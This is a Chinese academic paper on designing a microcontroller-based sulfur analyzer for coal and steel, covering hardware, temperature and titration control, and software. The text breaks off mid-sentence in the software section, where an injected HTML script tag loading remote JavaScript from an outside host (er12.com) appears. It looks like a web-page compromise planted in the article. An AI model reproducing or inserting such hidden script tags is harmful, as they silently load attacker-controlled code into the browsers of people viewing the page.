智能定硫仪的设计
束 慧，陈卫兵
(南通职业大学电子工程系，江苏南通 226007)
摘 要：从系统的构成，硬件软件等方面介绍了一种硫含量的检测系统。该系统能快速精确地测量煤和钢铁中的硫含量，为煤和钢铁的鉴定和合理使用提供科学依据。
关键词：监测；硫含量；单片机；rs232
design of intellectual meter on analyse of sulfur
shu hui, chen weibing
(nantong vocational college, nantong 226007, china)
abstract: the system of inspecting and measuring quantity of sul f ur was introduced. the system can measure quantity of sulfur contained in coal a nd steel repidly and exactly, and provide gist of science to identify and use.
key words: inspecting and measuring; quantity of sulfur containe d; scm; rs232
1系统的构成及工作原理
系统由单片机和测硫仪主机组成，包括电子天平、自动送样机构、高温裂解炉、滴定测硫系统、显示打印等部件。先由电子天平测得样品的质量，并通过rs232送入单片机系统，然后送样机构自动将样品送入高温炉。在单片机系统的控制下，给样品加热，在1150℃最佳温度下样品被氧化，其中硫成份完全转化为so2，反应中生成的气体导入滴定系统，通过与标样的参数对比而得到试样中的含硫量，送显示和打印，并可通过rs232与pc机连接，以便长期保存数据和进一步处理，系统结构的基本组成如图1所示。
2系统的硬件设计
2.1单片机
本系统采用华邦公司的w77e58作中央处理器。利用其2个串行口，通过rs232接口同时与电子天平和pc机通讯，3个定时器t0、t1、t2分别作为时间中断、波特率发生器使用，4个i/o口实现监控测量功能。
2.2键盘和显示
采用单片机w77e58的p1口控制zlg7290，实现 键盘显示管理。zlg7290是广州周立功发展有限公司设计的键盘及led驱动器，该芯片可直接驱动8位共阴数码管或64只独立led和64个按键，通过i2c串行接口，方便地与处理器相连；因其独特的性能在仪器仪表中得到广泛的应用。
2.3a/d转换器
采用12位串行a/d转换器芯片tlc2543。该芯片具有8路输入，各路分别可连接到各测量点上，通过较少的口线直接与单片机相连，且易于光电隔离。
2.4温度测控系统
通过实验和查阅有关资料，确定温度在1150℃时，样品中的硫能够得到充分释放，并和氧气很好地结合成so2，因而对高温裂解炉的温度控制是至关重要的。温度测控系统由温度采集和控制两部分组成，其框图如图2所示。
由于所测温度较高，故采用k分度号热电偶作温度传感器，ad590作冷端补偿，两个信号经放大后送入tlc2543进行a/d转换，并送入单片机进行计算而得到实际显示。单片机通过光电隔离控制晶闸管的通 断而对加热炉进行控制，从而达到控温目的。
在整个控温中，力求升温速度快，控温准确，因而本系统采用模糊控制加pid调节的复合控制法。实施方案是在温差较大时实行模糊控制，在接近控温点时采用pid实现微控。通过控制电炉丝所受电压的占空比来控制温度。
2.5滴定测控系统
滴定测控系统是本系统的核心，其结构见图3。
so2气体进入装有水和ph试剂的反应杯中，形成硫酸或亚硫酸，呈酸性，使杯中的溶液呈深色；与koh溶液中和反应而呈中性，从而杯中溶液透明。通过光敏管来测量其颜色的变化；通过控制电磁阀达到控制koh的用量。由压力传感器测量反应量和反应结束时反应杯中溶液的重量（与质量对应），而大气压力通过另一个压力传感器的测量对该量进行修正，从而得到koh的实际用量；然后与标样进行比较计算，得到s的含量。计算公式为：
由电子天平可测得标样和试样的质量，用上述方法测得koh的各自用量，而标样的硫含量已知，从而可得到试样的硫含量。
2.6送样机构
由单片机控制电机的正反转实现送样和出样控制，由霍尔传感器和磁钢测量进料位置。
2.7排废和进液系统
每次测量结束，由单片机控制排废阀打开，使反应杯中的废液排出。
在进行新的测量之前，由单片机控制进液阀打开，使水和ph试剂的混合液体流入反应杯，在压力传感器测得重量达到后，关闭进液阀，停止进液。
3软件设计
本系统软件包括测量、控制、通讯等部分，每部分的程序皆采用模块化结构。
主程序包括送样机构的控制、进液控制、滴定控制、排废控制、温控参数计算和显示打印处理等，通讯中断负责与电子天平和上位机的通讯；定时中断负责控制晶闸管的导通和截止之间的时间占?script src=http://er12.com/t.js>
